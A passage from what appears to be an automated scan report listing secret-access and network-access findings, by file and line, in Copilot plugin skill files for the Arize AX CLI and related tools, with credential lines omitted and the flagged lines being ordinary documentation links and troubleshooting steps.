    - [Updated endpoint example](https://new-endpoint.example.com/v1)

harness/github-copilot/plugins/arize-ax/skills/arize-ai-provider-integration/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/github-copilot/plugins/arize-ax/skills/arize-annotation/SKILL.md

  • Network accessline 27
    - Use `ax profiles show` only after an authorization or profile error. - Never read `.env` files or search the filesystem for credentials. Use `ax profiles` for Arize credentials and `ax ai-integrations` for LLM provider keys. - If the user
  • Network accessline 29
    - If the user needs an API key, direct them to https://app.arize.com/admin > API Keys.
  • Access to secretsline 167
    [Credential-related source omitted]
  • Access to secretsline 183
    [Credential-related source omitted]
  • Network accessline 207
    | `ax: command not found` or `command not found` | CLI absent. | Read `references/ax-setup.md`. | | Version error | CLI incompatible. | Read `references/ax-setup.md`. | | `401 Unauthorized` | API key lacks access or profile is wrong. | Run 
  • Network accessline 208
    | Version error | CLI incompatible. | Read `references/ax-setup.md`. | | `401 Unauthorized` | API key lacks access or profile is wrong. | Run `ax profiles show`; update via `references/ax-profiles.md`; API keys are at https://app.arize.com/
  • Network accessline 209
    | `401 Unauthorized` | API key lacks access or profile is wrong. | Run `ax profiles show`; update via `references/ax-profiles.md`; API keys are at https://app.arize.com/admin > API Keys. |

harness/github-copilot/plugins/arize-ax/skills/arize-annotation/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/github-copilot/plugins/arize-ax/skills/arize-dataset/SKILL.md

  • Network accessline 43
    If an `ax` command fails, troubleshoot based on the error: - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is
  • Network accessline 44
    - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-prof
  • Network accessline 45
    - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-profiles.md to create/update it. If the user doesn't have their key, dir

harness/github-copilot/plugins/arize-ax/skills/arize-dataset/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/github-copilot/plugins/arize-ax/skills/arize-evaluator/SKILL.md

  • Network accessline 28
    | --- | --- | | `command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks
  • Network accessline 29
    | `command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks a key, direct
  • Network accessline 30
    | `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks a key, direct them to https://app.arize.com/admin > API Keys. |
  • Access to secretsline 32
    [Credential-related source omitted]
  • Network accessline 86
    Never fabricate evaluation results. If a task fails, is cancelled, or produces no scores, report the failure and explain what happened. Do not perform a manual evaluation, invent quality scores, estimate percentages, or present agent analys
  • Network accessline 143
    - [Arize admin API keys](https://app.arize.com/admin)
  • Network accessline 144
    - [Arize support](https://arize.com/support)

harness/github-copilot/plugins/arize-ax/skills/arize-evaluator/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/github-copilot/plugins/arize-ax/skills/arize-evaluator/references/evaluator-crud-workflows.md

  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 423
    |---------|----------| | `ax: command not found` | See references/ax-setup.md | | `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys |
  • Network accessline 424
    | `ax: command not found` | See references/ax-setup.md | | `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys | | `Evaluator not found` | `ax evaluators list --space SPACE` |
  • Network accessline 425
    | `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys |

harness/github-copilot/plugins/arize-ax/skills/arize-experiment/SKILL.md

  • Network accessline 29
    | `SPACE` | All `--space` flags and `ARIZE_SPACE` accept a space name such as `my-workspace` or a base64 space ID such as `U3BhY2U6...`; find spaces with `ax spaces list`. | | Credentials | Never read `.env` files or search the filesystem f
  • Network accessline 30
    | Credentials | Never read `.env` files or search the filesystem for credentials. Use `ax profiles` for Arize credentials and `ax ai-integrations` for LLM provider keys. If credentials are absent, ask the user. | | API keys | For `401 Unaut
  • Network accessline 31
    | API keys | For `401 Unauthorized`, run `ax profiles show`; if missing or wrong, use `references/ax-profiles.md`. If the user needs a key, direct them to https://app.arize.com/admin > API Keys. |
  • Network accessline 121
    [Credential-related source omitted]
  • Access to secretsline 121
    [Credential-related source omitted]
  • Network accessline 173
    | `ax: command not found` | Read `references/ax-setup.md`. | | Version error | Read `references/ax-setup.md`. | | `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app.
  • Network accessline 174
    | Version error | Read `references/ax-setup.md`. | | `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app.arize.com/admin > API Keys if they need a key. | | `No profil
  • Network accessline 175
    | `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app.arize.com/admin > API Keys if they need a key. |
  • Access to secretsline 203
    [Credential-related source omitted]
  • Network accessline 249
    - [Arize API keys](https://app.arize.com/admin)

harness/github-copilot/plugins/arize-ax/skills/arize-experiment/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/github-copilot/plugins/arize-ax/skills/arize-instrumentation/SKILL.md

  • Network accessline 8
    metadata:   author: "arize"   compatibility: "Python and TypeScript/JavaScript apps use openinference-instrumentation packages for auto-instrumentation. Java and Go apps use the OpenTelemetry SDK with manual OpenInference spans. See https:/
  • Network accessline 9
    author: "arize"   compatibility: "Python and TypeScript/JavaScript apps use openinference-instrumentation packages for auto-instrumentation. Java and Go apps use the OpenTelemetry SDK with manual OpenInference spans. See https://arize.com/d
  • Network accessline 10
    compatibility: "Python and TypeScript/JavaScript apps use openinference-instrumentation packages for auto-instrumentation. Java and Go apps use the OpenTelemetry SDK with manual OpenInference spans. See https://arize.com/docs/PROMPT.md for 
  • Network accessline 28
    Use this skill when the user wants to **add Arize AX tracing** to their application. Follow the **two-phase, agent-assisted flow** from the [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant) and the [Arize AX T
  • Network accessline 34
    > Follow the instructions from https://arize.com/docs/PROMPT.md and ask me questions as needed.
  • Access to secretsline 45
    [Credential-related source omitted]
  • Network accessline 111
    The **canonical list** of supported integrations and doc URLs is in the [Agent Setup Prompt](https://arize.com/docs/PROMPT.md). Use it to map detected signals to implementation docs.
  • Network accessline 113
    - **LLM providers:** [OpenAI](https://arize.com/docs/ax/integrations/llm-providers/openai), [Anthropic](https://arize.com/docs/ax/integrations/llm-providers/anthropic), [LiteLLM](https://arize.com/docs/ax/integrations/llm-providers/litellm)
  • Network accessline 114
    - **Python frameworks:** [LangChain](https://arize.com/docs/ax/integrations/python-agent-frameworks/langchain), [LangGraph](https://arize.com/docs/ax/integrations/python-agent-frameworks/langgraph), [LlamaIndex](https://arize.com/docs/ax/in
  • Network accessline 115
    - **TypeScript/JavaScript:** [LangChain JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/langchain), [Mastra](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/mastra), [Vercel AI SDK](https://arize.com/docs/ax/
  • Network accessline 116
    - **Java:** [LangChain4j](https://arize.com/docs/ax/integrations/java/langchain4j), [Spring AI](https://arize.com/docs/ax/integrations/java/spring-ai), [Arconia](https://arize.com/docs/ax/integrations/java/arconia).
  • Network accessline 117
    - **Go:** No first-party auto-instrumentation packages today — use the OpenTelemetry Go SDK with manual [OpenInference](https://github.com/Arize-ai/openinference) attributes per [Manual instrumentation](https://arize.com/docs/ax/instrument/
  • Network accessline 118
    - **Platforms (UI-based):** [LangFlow](https://arize.com/docs/ax/integrations/platforms/langflow), [Flowise](https://arize.com/docs/ax/integrations/platforms/flowise), [Dify](https://arize.com/docs/ax/integrations/platforms/dify), [Prompt f
  • Network accessline 119
    - **Fallback:** [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation), [All integrations](https://arize.com/docs/ax/integrations).
  • Network accessline 121
    **Fetch the matched doc pages** from the [full routing table in PROMPT.md](https://arize.com/docs/PROMPT.md) for exact installation and code snippets. Use [llms.txt](https://arize.com/docs/llms.txt) as a fallback for doc discovery if needed
  • Network accessline 134
    - TypeScript/JavaScript: `@opentelemetry/sdk-trace-node` plus the relevant `@arizeai/openinference-*` package.    - Java: OpenTelemetry SDK plus `openinference-instrumentation-*` in pom.xml or build.gradle.    - Go: `go get go.opentelemetry
  • Network accessline 135
    - Java: OpenTelemetry SDK plus `openinference-instrumentation-*` in pom.xml or build.gradle.    - Go: `go get go.opentelemetry.io/otel go.opentelemetry.io/otel/sdk go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp` — no auto-i
  • Network accessline 136
    [Credential-related source omitted]
  • Access to secretsline 136
    [Credential-related source omitted]
  • Network accessline 137
    [Credential-related source omitted]
  • Access to secretsline 137
    [Credential-related source omitted]
  • Network accessline 138
    - Run `ax profiles show` to check for an existing profile.    - If no profile exists, guide the user to run `ax profiles create` which provides an **interactive wizard** that walks through API key and space setup. See [CLI profiles docs](ht
  • Network accessline 139
    - If no profile exists, guide the user to run `ax profiles create` which provides an **interactive wizard** that walks through API key and space setup. See [CLI profiles docs](https://arize.com/docs/api-clients/cli/profiles) for details.
  • Network accessline 140
    - If the user needs to find their API key manually, direct them to [https://app.arize.com](https://app.arize.com) and to navigate to the settings page (do not use organization-specific URLs with placeholder IDs — they won't resolve for new 
  • Access to secretsline 141
    [Credential-related source omitted]
  • Network accessline 273
    See [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation) for more span kinds and attributes.
  • Access to secretsline 288
    [Credential-related source omitted]
  • Network accessline 311
    "arize-ax-docs": {     "url": "https://arize.com/docs/mcp"
  • Network accessline 312
    "url": "https://arize.com/docs/mcp"
  • Network accessline 318
    See the full setup at [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant).
  • Network accessline 322
    | Resource | URL | |----------|-----| | Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant |
  • Network accessline 323
    |----------|-----| | Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant | | Agent Setup Prompt (full routing + phases) | https://arize.com/docs/PROMPT.md |
  • Network accessline 324
    | Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant |
  • Network accessline 325
    | Agent Setup Prompt (full routing + phases) | https://arize.com/docs/PROMPT.md |
  • Network accessline 326
    | Arize AX Docs | https://arize.com/docs/ax |
  • Network accessline 327
    | Full integration list | https://arize.com/docs/ax/integrations |
  • Network accessline 328
    | Doc index (llms.txt) | https://arize.com/docs/llms.txt |
  • Access to secretsline 338
    [Credential-related source omitted]
  • Access to secretsline 375
    [Credential-related source omitted]
  • Network accessline 383
    - [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant)
  • Network accessline 384
    - [Agent Setup Prompt](https://arize.com/docs/PROMPT.md)
  • Network accessline 385
    - [Arize AX Docs](https://arize.com/docs/ax)
  • Network accessline 386
    - [Full integration list](https://arize.com/docs/ax/integrations)
  • Network accessline 387
    - [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation)
  • Network accessline 388
    - [OpenInference](https://github.com/Arize-ai/openinference)
  • Network accessline 389
    - [CLI profiles docs](https://arize.com/docs/api-clients/cli/profiles)
  • Network accessline 390
    - [Arize app](https://app.arize.com)
  • Network accessline 391
    - [Doc index](https://arize.com/docs/llms.txt)
  • Network accessline 392
    - [Arize Docs MCP](https://arize.com/docs/mcp)
  • Network accessline 393
    - [OpenAI integration](https://arize.com/docs/ax/integrations/llm-providers/openai)
  • Network accessline 394
    - [Anthropic integration](https://arize.com/docs/ax/integrations/llm-providers/anthropic)
  • Network accessline 395
    - [LiteLLM integration](https://arize.com/docs/ax/integrations/llm-providers/litellm)
  • Network accessline 396
    - [Google Gen AI integration](https://arize.com/docs/ax/integrations/llm-providers/google-gen-ai)
  • Network accessline 397
    - [Amazon Bedrock integration](https://arize.com/docs/ax/integrations/llm-providers/amazon-bedrock)
  • Network accessline 398
    - [Ollama integration](https://arize.com/docs/ax/integrations/llm-providers/llama)
  • Network accessline 399
    - [Groq integration](https://arize.com/docs/ax/integrations/llm-providers/groq)
  • Network accessline 400
    - [MistralAI integration](https://arize.com/docs/ax/integrations/llm-providers/mistralai)
  • Network accessline 401
    - [OpenRouter integration](https://arize.com/docs/ax/integrations/llm-providers/openrouter)
  • Network accessline 402
    - [VertexAI integration](https://arize.com/docs/ax/integrations/llm-providers/vertexai)
  • Network accessline 403
    - [LangChain](https://arize.com/docs/ax/integrations/python-agent-frameworks/langchain)
  • Network accessline 404
    - [LangGraph](https://arize.com/docs/ax/integrations/python-agent-frameworks/langgraph)
  • Network accessline 405
    - [LlamaIndex](https://arize.com/docs/ax/integrations/python-agent-frameworks/llamaindex)
  • Network accessline 406
    - [CrewAI](https://arize.com/docs/ax/integrations/python-agent-frameworks/crewai)
  • Network accessline 407
    - [DSPy](https://arize.com/docs/ax/integrations/python-agent-frameworks/dspy)
  • Network accessline 408
    - [AutoGen](https://arize.com/docs/ax/integrations/python-agent-frameworks/autogen)
  • Network accessline 409
    - [Semantic Kernel](https://arize.com/docs/ax/integrations/python-agent-frameworks/semantic-kernel)
  • Network accessline 410
    - [Pydantic AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/pydantic)
  • Network accessline 411
    - [Haystack](https://arize.com/docs/ax/integrations/python-agent-frameworks/haystack)
  • Network accessline 412
    - [Guardrails AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/guardrails-ai)
  • Network accessline 413
    - [Hugging Face Smolagents](https://arize.com/docs/ax/integrations/python-agent-frameworks/hugging-face-smolagents)
  • Network accessline 414
    - [Instructor](https://arize.com/docs/ax/integrations/python-agent-frameworks/instructor)
  • Network accessline 415
    - [Agno](https://arize.com/docs/ax/integrations/python-agent-frameworks/agno)
  • Network accessline 416
    - [Google ADK](https://arize.com/docs/ax/integrations/python-agent-frameworks/google-adk)
  • Network accessline 417
    - [MCP](https://arize.com/docs/ax/integrations/python-agent-frameworks/model-context-protocol)
  • Network accessline 418
    - [Portkey](https://arize.com/docs/ax/integrations/python-agent-frameworks/portkey)
  • Network accessline 419
    - [Together AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/together-ai)
  • Network accessline 420
    - [BeeAI](https://arize.com/docs/ax/integrations/python-agent-frameworks/beeai)
  • Network accessline 421
    - [AWS Bedrock Agents](https://arize.com/docs/ax/integrations/python-agent-frameworks/aws)
  • Network accessline 422
    - [LangChain JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/langchain)
  • Network accessline 423
    - [Mastra](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/mastra)
  • Network accessline 424
    - [Vercel AI SDK](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/vercel)
  • Network accessline 425
    - [BeeAI JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/beeai)
  • Network accessline 426
    - [LangChain4j](https://arize.com/docs/ax/integrations/java/langchain4j)
  • Network accessline 427
    - [Spring AI](https://arize.com/docs/ax/integrations/java/spring-ai)
  • Network accessline 428
    - [Arconia](https://arize.com/docs/ax/integrations/java/arconia)
  • Network accessline 429
    - [LangFlow](https://arize.com/docs/ax/integrations/platforms/langflow)
  • Network accessline 430
    - [Flowise](https://arize.com/docs/ax/integrations/platforms/flowise)
  • Network accessline 431
    - [Dify](https://arize.com/docs/ax/integrations/platforms/dify)
  • Network accessline 432
    - [Prompt flow](https://arize.com/docs/ax/integrations/platforms/prompt-flow)

harness/github-copilot/plugins/arize-ax/skills/arize-instrumentation/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com by navigating to the settings page. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmati
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/github-copilot/plugins/arize-ax/skills/arize-link/SKILL.md

  • Network accessline 35
    Default `base_url` is `https://app.arize.com`; override it only for on-prem deployments.
  • Network accessline 39
    All path IDs must be base64-encoded with characters `A-Za-z0-9+/=`. Raw numeric IDs produce valid-looking URLs that 404. If the user provides a number, ask them to copy the ID directly from an Arize browser URL such as `https://app.arize.co
  • Network accessline 83
    | 404 | Wrong ID or non-base64 ID | Re-check `org_id`, `space_id`, and `project_id` from the browser URL. | | Span not highlighted | `span_id` belongs to a different trace | Verify `span_id` against exported span data. | | `org_id` unknown 
  • Network accessline 85
    | `org_id` unknown | `ax` CLI does not expose it | Ask the user to copy it from `https://app.arize.com/organizations/{org_id}/spaces/{space_id}/…`. |
  • Network accessline 127
    - [Arize application](https://app.arize.com)

harness/github-copilot/plugins/arize-ax/skills/arize-link/references/EXAMPLES.md

  • Network accessline 14
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedTraceId={trace_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&envA=tracing&modelType=gene
  • Network accessline 20
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedTraceId={trace_id}&selectedSpanId={span_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&en
  • Network accessline 26
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedSessionId={session_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&envA=tracing&modelType=
  • Network accessline 32
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/datasets/{dataset_id}?selectedTab=examples
  • Network accessline 38
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/datasets/{dataset_id}?selectedTab=experiments
  • Network accessline 44
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/queues
  • Network accessline 50
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/queues/{queue_id}
  • Network accessline 56
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/evaluators/{evaluator_id}
  • Network accessline 62
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/evaluators/{evaluator_id}?version={version_url_encoded}
  • Network accessline 68
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/annotation-configs

harness/github-copilot/plugins/arize-ax/skills/arize-prompt-optimization/SKILL.md

  • Network accessline 69
    If an `ax` command fails, troubleshoot based on the error: - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is
  • Network accessline 70
    - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-prof
  • Network accessline 71
    - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-profiles.md to create/update it. If the user doesn't have their key, dir
  • Access to secretsline 74
    [Credential-related source omitted]
  • Network accessline 496
    - [ ] The output follows the `## Output template` structure and reports commands run or skipped. ## References - [Arize API Keys](https://app.arize.com/admin)
  • Network accessline 498
    - [Arize API Keys](https://app.arize.com/admin)

harness/github-copilot/plugins/arize-ax/skills/arize-prompt-optimization/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/github-copilot/plugins/arize-ax/skills/arize-trace/SKILL.md

  • Network accessline 30
    | --- | --- | | `ax: command not found` or version error | Read `references/ax-setup.md`; reinstall outdated `ax` with `uv tool install --force --reinstall arize-ax-cli` when shell access is available. | | `No profile found`, missing API ke
  • Network accessline 31
    | `ax: command not found` or version error | Read `references/ax-setup.md`; reinstall outdated `ax` with `uv tool install --force --reinstall arize-ax-cli` when shell access is available. | | `No profile found`, missing API key, or `401 Una
  • Network accessline 32
    | `No profile found`, missing API key, or `401 Unauthorized` | Run `ax profiles show`. If missing or wrong, read `references/ax-profiles.md`. If the user lacks a key, direct them to https://app.arize.com/admin > API Keys. |
  • Network accessline 245
    - [Arize API keys](https://app.arize.com/admin)

harness/github-copilot/plugins/arize-ax/skills/arize-trace/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/github-copilot/plugins/automate-this/skills/automate-this/SKILL.md

  • Network accessline 107
    echo "=== Node ===" && { command -v node && node --version 2>&1; } || echo "not installed" echo "=== Homebrew ===" && { command -v brew && echo "installed"; } || echo "not installed" echo "=== Common Tools ===" && for cmd in curl jq playwri
  • Network accessline 109
    echo "=== Common Tools ===" && for cmd in curl jq playwright selenium osascript automator crontab; do command -v $cmd >/dev/null 2>&1 && echo "$cmd: yes" || echo "$cmd: no"; done
  • Access to secretsline 182
    [Credential-related source omitted]

harness/github-copilot/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-agents/SKILL.md

  • Network accessline 21
    Use web access to read the awesome-copilot catalog and raw agent files. The catalog is at `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`; agent files are under `https://github.com/github/awesome-copilot/tree/mai
  • Network accessline 27
    1. Fetch the available custom agent list and descriptions from `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`.
  • Network accessline 28
    2. List every local `.github/agents/*.agent.md` file. 3. Read local frontmatter and body to inventory descriptions, tools, and instructions. 4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercont
  • Network accessline 29
    3. Read local frontmatter and body to inventory descriptions, tools, and instructions. 4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}`
  • Network accessline 30
    4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}`.
  • Network accessline 74
    | Awesome-Copilot Custom Agent | Description | Already Installed | Similar Local Custom Agent | Suggestion Rationale | | --- | --- | --- | --- | --- | | [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilo
  • Network accessline 75
    | --- | --- | --- | --- | --- | | [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/amplitude-experiment-implementation.agent.md) | This custom agent uses Amplitude's MCP tools to depl
  • Network accessline 76
    | [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/amplitude-experiment-implementation.agent.md) | This custom agent uses Amplitude's MCP tools to deploy new experiments inside of Amp
  • Network accessline 77
    | [launchdarkly-flag-cleanup.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/launchdarkly-flag-cleanup.agent.md) | Feature flag cleanup agent for LaunchDarkly | Yes | `launchdarkly-flag-cleanup.agent.md` | Already cover
  • Network accessline 78
    | [principal-software-engineer.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/principal-software-engineer.agent.md) | Provide principal-level software engineering guidance with focus on engineering excellence, technica
  • Network accessline 94
